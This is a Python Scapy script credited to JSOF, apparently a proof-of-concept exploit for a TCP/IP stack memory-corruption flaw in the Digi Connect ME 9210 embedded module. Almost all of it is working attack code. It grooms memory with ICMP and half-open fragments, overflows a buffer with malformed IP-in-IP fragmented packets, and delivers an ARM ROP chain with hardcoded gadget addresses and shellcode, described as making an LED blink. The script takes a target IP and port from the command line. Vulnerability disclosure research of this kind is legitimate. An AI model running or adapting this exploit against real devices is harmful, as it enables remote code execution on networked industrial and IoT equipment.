# Copyright (c) 2020 JSOF Ltd. # Available under MIT License # # Authors: Moshe Kol, Shlomi Oberman from scapy.all import * import argparse import threading import struct VERBOSE_LEVEL = 0 MALFORMED_THREAD_FLAG = False BENIGN_THREAD_FLAG = False FRAG_TTL = 4 def vprint(*args, **kwargs): if VERBOSE_LEVEL > 0: print(*args, **kwargs) def log_status(*args, **kwargs): vprint("[x]", *args, **kwargs) def log_success(*args, **kwargs): vprint("[+]", *args, **kwargs) def log_failure(*args, **kwargs): vprint("[-]", *args, **kwargs) def log_info(*args, **kwargs): vprint("[*]", *args, **kwargs) def log_warning(*args, **kwargs): vprint("[!]", *args, **kwargs) def log_debug(*args, **kwargs): vprint("[DEBUG]", *args, **kwargs) def p32(b): return struct.pack(">I", b) # big-endian # desired allocation size -> payload size PAYLOAD_SIZES = { 0x100: 4, 0x200: 120, 0x400: 400, } class Attack: def __init__(self, iface, ip_dst, udp_dport, udp_sport): self.iface = iface self.ip_dst = ip_dst self.udp_dport = udp_dport self.udp_sport = udp_sport self.sock = conf.L3socket(iface=iface) def send_benign_udp(self, payload_size, count): global BENIGN_THREAD_FLAG pkt = IP(dst=self.ip_dst) pkt /= UDP(sport=self.udp_sport, dport=self.udp_dport) pkt /= (b'X'*payload_size) it_num = 0 while count < 0 or it_num < count: self.sock.send(pkt) it_num += 1 if BENIGN_THREAD_FLAG: break def send_benign_udp_ex(self, payload_size, count, timeout, thread_count=4): global BENIGN_THREAD_FLAG if count >= 0: assert count >= 2*thread_count else: assert timeout > 0 log_status("Sending {} benign udp packets with payload size {}".format(count if count >= 0 else "infinite", payload_size)) bthreads = [] for _ in range(thread_count): t = threading.Thread(target=Attack.send_benign_udp, args=(self, payload_size, count//thread_count)) bthreads.append(t) t.start() if timeout > 0: time.sleep(timeout) BENIGN_THREAD_FLAG = True for t in bthreads: t.join() def send_malformed(self, payload, count, delay=0): global MALFORMED_THREAD_FLAG assert len(payload) >= 12 iplen = 32 encap_packet = IP(dst=self.ip_dst, len=iplen) encap_packet /= UDP(sport=self.udp_sport, dport=self.udp_dport, chksum=0, len=iplen-20) encap_packet /= payload frag1_data_len = 40 frag1 = IP(dst=self.ip_dst, frag=0, flags=1, proto=4, id=0) frag1 /= bytes(encap_packet)[:frag1_data_len] frag2 = IP(dst=self.ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0) frag2 /= bytes(encap_packet)[frag1_data_len:] ip_id = int(RandShort()) it_num = 0 while count < 0 or it_num < count: frag1[IP].id = ip_id frag2[IP].id = ip_id self.sock.send(frag1) self.sock.send(frag2) it_num += 1 ip_id = (ip_id + 1) % 0x10000 if delay > 0: time.sleep(delay) if MALFORMED_THREAD_FLAG: break def send_malformed_ex(self, payload, count, delay, timeout, thread_count=1): global MALFORMED_THREAD_FLAG if count < 0: assert timeout > 0 log_status("Sending {} malformed packet with payload size {}".format(count if count >= 0 else "infinite", len(payload))) mthreads = [] for _ in range(thread_count): t = threading.Thread(target=Attack.send_malformed, args=(self, payload, count, delay)) mthreads.append(t) t.start() if timeout > 0: time.sleep(timeout) MALFORMED_THREAD_FLAG = True for t in mthreads: t.join() def overflow(self, payload, malformed_delay, malformed_count=-1, malformed_thread_count=1, benign_count=-1, benign_thread_count=1, timeout=5, allocation_size=0x100): log_info("Timeout: {}".format(timeout)) bthread = threading.Thread(target=Attack.send_benign_udp_ex, args=(self, PAYLOAD_SIZES[allocation_size << 1], benign_count, timeout, benign_thread_count)) bthread.start() mthread = threading.Thread(target=Attack.send_malformed_ex, args=(self, payload, malformed_count, malformed_delay, timeout, malformed_thread_count)) mthread.start() bthread.join() mthread.join() def stage_1(self, icmp_count=32): log_status("===== Stage 1 =====") log_status("Sending {} ICMP echo request packets...".format(icmp_count)) echo_request = IP(dst=self.ip_dst)/ICMP() for _ in range(icmp_count): self.sock.send(echo_request) log_success("Finish ICMP echo request") log_status("Sending 5 half-open fragments...") half_frag_echo_request = IP(dst=self.ip_dst, flags=1)/ICMP() for ip_id in range(1,6): half_frag_echo_request[IP].id = ip_id self.sock.send(half_frag_echo_request) log_status("Waiting for fragment reassembly time exceeded...") time.sleep(FRAG_TTL + 1) log_status("Sending 2 half-open fragments...") for ip_id in range(6,8): half_frag_echo_request[IP].id = ip_id self.sock.send(half_frag_echo_request) log_status("Waiting for fragment reassembly time exceeded...") time.sleep(FRAG_TTL + 1) def stage_2(self, address): log_status("===== Stage 2 =====") # The rop chain need to be written in the given address # therefore we need to adjust the address address = address - 0xa0 payload = b'A'*92 + p32(0x111) + p32(0x108) + p32(0x100) + p32(address) self.overflow(payload, malformed_delay=0.001, malformed_count=-1, malformed_thread_count=1, benign_count=-1, benign_thread_count=1, timeout=5) def stage_3(self, rop): assert len(rop) % 4 == 0 log_status("===== Stage 3 =====") time.sleep(1) log_status("Sending half-open IP packet fragments to generate ICMP error and drop ROP chain") pkt = IP(ihl=0xf, dst=self.ip_dst, flags=1, proto=1, options=[b'\x00\x00\x00\x00' + rop[:36]]) pkt /= rop[36:] for ip_id in range(0x8000, 0x8000+3): pkt[IP].id = ip_id self.sock.send(pkt) def attack(self, stage=0): log_status("Attacking Digi Connect ME 9210...") # Led 2 blinks indefinitely # shellcode size: 0x54 shellcode = b'\xe5\x9f\x80\x44\xe5\x9f\x90\x44\xe3\xa0\x00\x00\xe3\xa0\x10\x01' shellcode += b'\xe3\xa0\x20\x00\xe1\xa0\xe0\x0f\xe1\x2f\xff\x18\xe3\xa0\x00\x64' shellcode += b'\xe1\xa0\xe0\x0f\xe1\x2f\xff\x19\xe3\xa0\x00\x00\xe3\xa0\x10\x01' shellcode += b'\xe3\xa0\x20\x01\xe1\xa0\xe0\x0f\xe1\x2f\xff\x18\xe3\xa0\x00\x64' shellcode += b'\xe1\xa0\xe0\x0f\xe1\x2f\xff\x19\xea\xff\xff\xee\x00\x02\x83\x94' shellcode += b'\x00\x06\x28\x5c' stack_address_to_overwrite = 0x1a5330 gadget1 = 0x0002f95c # 0x0002f95c: mov r2, r5; mov lr, pc; bx r7; gadget2 = 0x0002f954 # 0x0002f954: mov r0, r4; mov r1, r6; mov r2, r5; mov lr, pc; bx r7; gadget3 = 0x00034ec8 # 00034ec8 e1 2f ff 18 bx r8 gadget4 = 0x0000681c # 0000681c e8 bd 8f f1 ldmia sp!,{r0 r4 r5 r6 r7 r8 r9 r10 r11 pc } gadget5 = 0x000d1c84 # mov lr, pc; bx r3; mov r0, r4; pop {r4, pc}; gadget6 = 0x000267e4 # pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip, lr}; mov pc, lr; memcpy = 0x0000674c # memcpy address after push register tfTcpRestart2Msl = 0x0004a8ac ProcessorGpioSetOutputValue = 0x00028394 tx_thread_sleep = 0x0006285c rop = bytearray() rop += p32(stack_address_to_overwrite + 44) # r0 rop += p32(0) # r4 rop += p32(0) # r5 rop += p32(0) # r6 rop += p32(memcpy) # r7 rop += p32(0) # r8 rop += p32(0) # r9 rop += p32(0) # r10 rop += p32(0) # r11 rop += p32(gadget1) # pc rop += p32(0) # r0 rop += p32(0) # r4 rop += p32(0) # r5 rop += p32(0) # r6 rop += p32(0) # r7 rop += p32(0) # r8 rop += p32(0) # r9 rop += p32(0) # r10 rop += p32(0) # r11 rop += p32(gadget6) # pc rop += p32(100) # r0 rop += p32(0) # r1 rop += p32(0) # r2 rop += p32(tx_thread_sleep) # r3 rop += p32(0) # r4 rop += p32(0) # r5 rop += p32(0) # r6 rop += p32(0) # r7 rop += p32(0) # r8 rop += p32(0) # r9 rop += p32(0) # r10 rop += p32(0) # r11 rop += p32(0) # r12 rop += p32(gadget5) # lr rop += p32(0) # r4 shellcode_address = stack_address_to_overwrite + len(rop) + 4 rop += p32(shellcode_address) # pc rop += shellcode rop[8:12] = p32(len(rop) - 44) self.stage_1() self.stage_2(stack_address_to_overwrite) self.stage_3(bytes(rop)) if __name__ == '__main__': conf.verb = 0 # make scapy silent parser = argparse.ArgumentParser() parser.add_argument('ip_dst', help="destination IP address") parser.add_argument('udp_dport', type=int, default=2362, nargs='?', help="destination UDP port (Default: 2362 (digiman))") parser.add_argument('udp_sport', type=int, default=7, nargs='?', help="source UDP port (Default: 7)") parser.add_argument('-i', '--iface', default=None, nargs='?', help="interface name as shown in scapy's show_interfaces() function") parser.add_argument('-og', '--override-gateway', dest='gw', default='use_ip_dst', const=None, type=str, nargs='?', help='override gateway for ip_dst in scapy routing table (Default: override with ip_dst, use -og to disable overriding)') parser.add_argument('-v', '--verbose', default=0, action='count', help="how much output you'd like") parser.add_argument('-s', '--stage', dest='stage', default=0, type=int, help='which stage to invoke (0 for all stages)') args = parser.parse_args() gw = None if args.gw: if args.gw == 'use_ip_dst': gw = args.ip_dst else: gw = args.gw if gw: conf.route.add(host=(args.ip_dst), gw=gw) iface = args.iface if iface is not None and iface.isdigit(): iface = IFACES.dev_from_index(int(iface)).description VERBOSE_LEVEL = args.verbose attck = Attack(iface, args.ip_dst, args.udp_dport, args.udp_sport) attck.attack(stage=args.stage)